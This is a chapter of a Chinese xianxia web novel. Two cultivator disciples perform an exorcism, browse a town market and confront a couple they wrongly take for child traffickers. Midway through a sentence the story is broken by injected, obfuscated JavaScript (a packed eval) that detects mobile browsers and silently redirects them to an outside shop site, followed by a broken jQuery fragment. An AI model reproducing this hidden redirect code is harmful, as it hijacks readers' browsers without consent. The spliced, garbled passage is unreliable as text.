“太上台星,应变无停,驱邪缚魅,保命护身……”

    一处院落中,幡旗招展,炉香旺盛,林月照身着传统道袍,挽着道髻,手拿拂尘,脚踏七星步,口中念念有词。

    周围还有几个衣着华贵之人恭敬站着,神态虔诚。

    仪式毕,林月照向中间的中年男人示意驱邪保平安的道场结束,并送上平安符箓,男人喜笑颜开接过。

    几日前,林月照带着江千渡下山,顺手接了几个宗门任务,大都是山下百姓请求帮忙除妖驱邪做法事。

    此处便是请求帮忙驱邪的宅邸何府,眼前的中年男人便是这座宅府的主人何员外。

    他示意下人拿来钱财,并邀请林月照和江千渡两人留下来住段时间,林月照连忙推辞,男人依旧不罢休,林月照只好拿了一块银子,并声称还要去其他人家帮忙,拉着门外的江千渡赶紧离开。

    一出何府门,林月照松了一口气,脱下外面的道袍收起来,江千渡疑惑问:“师姐,那户人家明明没有没有邪祟,为何还要驱邪?”

    林月照拆散发髻,拿出簪子挽了一个更轻松的发型,边走边说:“可能越有钱越惜命呗,也有可能心里不安,反正咱们的事已经办完了,别管那么多。”

    江千渡盯着林月照挽发动作看了几秒,收回视线,问:“那师姐为何要打扮成凡人道士的模样?”

    林月照闻言狡黠一笑,“哎呀,这不是显得更有信服力嘛,他们平时很难见到修士,对驱邪避灾最多的认知就是凡人道士,肯定认为这幅打扮的人更厉害,就跟厉害的大夫总是年长之人这种刻板印象一样。”

    江千渡闻言默默点头。

    林月照把手中那块银子抛起来又接住,拿在手中晃了晃,道:“喏,还有咱的辛苦费,走,师姐带你去吃顿好的。”

    两人在城中找了一处客栈落脚。

    两人来到这座城镇,做完最后一个委托任务——也就是刚才在何府的法事,准备在这里歇息两天。

    要了两间客房,林月照回到房间便瘫在床上摆成大字型休息,忽闻窗外熙熙攘攘,走到窗边倚靠窗棂看街景。

    原来正逢城镇每月集市,外面热闹非凡,街上人声鼎沸锣鼓喧天,还有杂技武术表演,林月照看得热闹,心里痒痒,便到隔壁拉上江千渡一起去街上玩。

    两人挤在人群中慢慢往前走,在边上看着商贩卖的物件。

    路过一份糍粑摊,被老板的吆喝声吸引,“姑娘,要不要尝尝咱家的糍粑啊,香甜软糯,整条街上都没有比这更好的糍粑了。”

    林月照看着糍粑有些嘴馋,买了两份,递给江千渡一份。

    “阿渡,来尝尝这里的糍粑味道如何。”

    江千渡闻言愣了一下,下意识接过糍粑,“师姐方才叫我……阿渡?”

    “对啊,不喜欢吗?一直叫你师弟多生分啊,不喜欢我再换一个,或者叫你小渡?”

    林月照吃着糍粑,突然话音含糊问。

    “小渡小渡,你知道糍粑是怎么做的吗?”

    江千渡疑惑怎么突然问起这个,但还是依言回答,“具体不知,但我曾见过有人临街点心铺拿着锤子捶打糯米,想必……”

    还没等他说完,林月照就一把捂住他的嘴,忍俊不禁,哈哈大笑起来,“好了好了,师姐知道了,师姐以后就叫你阿渡吧,叫你小渡总觉得师弟突然变成了一个无所不知的人,还是叫阿渡亲切。”

    江千渡只觉冰冷指尖挡住自己的嘴,还是不知林月照为何发笑,只看到她笑得开心,苍白脸颊有了血色,眼尾因笑意泛红,比平时更加生动鲜活。

    他鬼使神差抬手握住唇边的手,反应过来立马松开,神情有些不自然,“师姐……”

    林月照没注意到他神色变化,见他也没有再反驳这个称呼,只当他接受了,越发觉得这个师弟乖,稍微止住笑容,将吃了一半的糍粑收起来,怕一口气吃完胃胀,准备留着晚上当夜宵,又拉着他继续逛街。

    走到一条人稍微少一点的街,没那么挤了,两人能稍微松口气,两人走到街口,那里有个老者在摆摊,仔细一看都是一些小手艺品,老者双手插袖坐在那里闭着眼睛不知道睡没睡着,林月照就蹲在摊前自己看。

    大部分都是木头雕刻的小木剑小老虎,还有一些铜制的厨具农具这些,林月照拿起几个把玩了一会,看到角落处有一个灰扑扑的东西,拿起来一看是一枚铜镜,巴掌大小,拿在掌心刚刚好。

    镜子背面是以荷花形状为底,多种花朵纹样围成一圈,镜子背面中间还嵌着一块红色石头,虽然有些陈旧,但能看出十分精致。

    这枚镜子应该有些年头了,上面的颜料已经褪色,被灰尘覆盖,依稀露出底色,镜面倒是完好,没有什么划痕,依旧能照见人影。

    林月照拿着镜子还想再看看别的,那老者好像刚睡醒了突然开口,吓得她一激灵。

    “小姑娘,看上镜子了?你买点别的,那个就送你了。”

    林月照闻言挑了挑眉,心想在这里居然也有捆物卖货,“当真?好嘞,那我看看别的。”

    她手上这镜子应该也放这里很长时间了,大概也是卖不出去。

    她又看了看其他东西,一边看一边和老者闲聊。

    “这些手工件都是您自己做的?还挺精巧,不过您这摊儿上卖的东西还挺杂的,这里还有修仙入门手册呢,您家还有修仙的?”

    老者听这话似乎精神了一点,好像终于找到了一个话头,“啥修仙啊,俺老李家都没那当神仙的缘分,这书都是俺儿出去走商路过一个山头拾的,俺儿说那山头之前是有修仙的,后来都搬走了,被人拾了好几轮,就剩下这些杂七杂八的了,能当的都当了,剩下的就拿来卖卖,那镜子也是在那里拾的。”

    老人一话起家常总是会喋喋不休,“俺侄那村倒是出了几个能当神仙的,不过离得远,十来年没联系了,不知道他家现在咋样,不过他村日子好,过得舒坦……”

    林月照看到老者便想起自己的奶奶也总是唠唠叨叨挂心自己,便和老者多说了几句。

    最后她拿了一个木老虎和小木剑,又拿了一个雕刻精致的玉簪,付了钱和江千渡离开。

    两人走走停停,一直从下午逛到晚上。

    林月照走累了,找了一处茶楼要了靠窗的位置喝茶歇脚。

    她拿出白天买的东西,把镜子用茶洗净擦干,浮尘被水冲去,镜子焕然一新,只有边角稍微有磨损痕迹,背后的红色的不是石头,应该是一种宝石,在光下散发温润光泽。

    她照了照镜子,人影清晰可见,她笑了笑,镜中人也跟着笑了笑,眉眼如画。

    她把镜子反过来对着江千渡晃了晃,“阿渡你看,这镜子好看吧,挺新的,感觉照人也好看。”

    江千渡端着茶杯轻抿茶水望着窗外,闻言看过去,镜子闪过他平静的面容,眼前人顾盼神飞光彩夺目,他握着茶杯的手紧了紧,把视线移到窗外,“嗯,很好看。”

    林月照又拿出一样东西,推到江千渡面前,是白天买的那只玉簪,“这个送给你,感觉适合你就买了,不过看你平时发带用的多,不知道习不习惯用。”

    江千渡愣了片刻才接过握在手中,他的手指不自觉摩挲着簪身,“多谢师姐。”

    他没想到这个簪子是买来送给自己的。

    林月照笑着摇了摇头,“别多想,只是觉得适合师弟。”

    她往下看着熙熙攘攘的人流,夜晚的集市比白天更热闹,街道门市掌灯,叫卖声连绵不绝。

    她喝着茶望向更远处的街巷,那里人烟稀少灯火稀疏,仔细一看似乎有几个人影鬼鬼祟祟,怀中似乎还抱着什么东西。

    林月照蹙眉,觉得那几个身影

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792302|210433||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不太对劲,不像寻常行人路过,指着那个方向对江千渡说道:“阿渡,你看那边。”

    江千渡看过去,也察觉到了不对,两人对视一眼,跳窗飞过去。

    两人几个飞身到了那条街巷,那几个鬼鬼祟祟的人影已经走到巷子另一头,林江两人跳上屋檐悄无声息跟过去,蹲在墙头偷听几人谈话。

    在暗淡的月光下,林月照看清了那几个人影原来是一男一女两个中年人以及两人怀里的两个孩子,也是一男一女,看样子估摸也就三四岁的样子。

    那两个中年人在街口东张西望,不知道在找什么。小男孩在怀里似乎很难受,一直在哭喊;小女孩则一动不动,好像晕了过去。男人似乎怕声音传出去,一只手捂住孩子的嘴想隔绝声音,压低声音呵斥孩子;女人神情更加焦急,一直在念叨“应该就在附近啊”。

    林月照皱眉,心想这是遇到人贩子了?怎么看都像,鬼鬼祟祟的,应该在等接头人,孩子还被迷晕了。

    她看了江千渡一眼,点了点头,跳下屋檐挡在两人面前。

    “放开那两个孩子!”

    那两个中年人吓了一跳,看见突然出现在面前的姑娘,肤白如雪,白衣飘然,还以为遇到了鬼,大叫一声,抱着孩子转身就跑。

    那两人脚步踉踉跄跄,还没跑两步,面前又出现一人拦住去路,身形高大挺拔,手执利器,两个孩子哇哇大哭。

    林月照靠近将两人堵在巷子里,“现在偷孩子都这个明目张胆了吗?识相点放下孩子自己去官府自首。”

    那两人闻言直接愣住了,反应过来连忙说自己不是人贩子,是孩子父母。

    “不是人贩子你们两个鬼鬼祟祟的干什么?”

    林月照正准备将两人带去官府具体调查,验明身份,远处传来脚步声,沿着巷子走来,等走近一看,发现是白天摆摊的那个老者。

    这边正剑拔弩张呢,李老汉走近看到几人这样,好奇询问:“这不白天在我摊子上买东西的丫头小子吗?你们这是……”

    说着略过两人,看到中间的那对中年人和怀里的孩子,林月照刚要解释这两个人鬼鬼祟祟的行为,李老汉便撂下自己手里的包袱,冲过来拉住那个中年男人,神情激动,“侄儿,这不是那个山岭村的侄儿吗?是你吗?你们两口子咋来了,这么远的还带着孩儿,这俩孩儿都是你们俩的?都这么大了哟!”

    林月照彻底懵了,原来他们还真不是人贩子,便走上去询问。

    “大爷,你认识他们两个啊?”

    李老汉:“是嘞,这就是我白天跟你说的我那个十来年没见过的侄子侄媳妇!”

    林月照有些尴尬,没想到自己搞错了,原来他们在找的人就是李老汉,不是什么人贩子接头,这下还把人家吓了一顿,于是拉着江千渡连忙上前道歉。

    那对夫妻摆手说没事,他们看到李老汉也很激动,终于找到了人,两人热泪盈眶,李老汉询问他们为什么会找来,两人支支吾吾半天说不出话来,接连叹气,一言难尽,李老汉先把他们接回了家,让林江两人也一起过去歇歇脚。

    回到李老汉的院子,给夫妻二人热了点饭,哄下孩子睡觉,几人在院子里寒暄了一会儿,夫妻两人在屋前诉苦。

    男人名叫李泉,女人名叫何花,两人在山岭村成亲后,日子安安稳稳的过着。

    在山岭村中,供奉着一尊狐仙庙,据老人传言,那座狐仙庙是真的有狐仙,几百年前来到村子,一直保佑着村子风调雨顺,屋宅平安,家家富足。

    以前村子里的人都会每年给狐仙庙上供奉,由庙里的庙祝主持供奉仪式,供奉的东西无非就是牛羊猪鱼各色点心,与其他庙宇的供奉没什么太大差别,几百年来一直如此。

    可是就在这几年,庙祝却告诉他们,狐仙要求的贡品改了,不再只要普通香火贡品,而是要别的东西。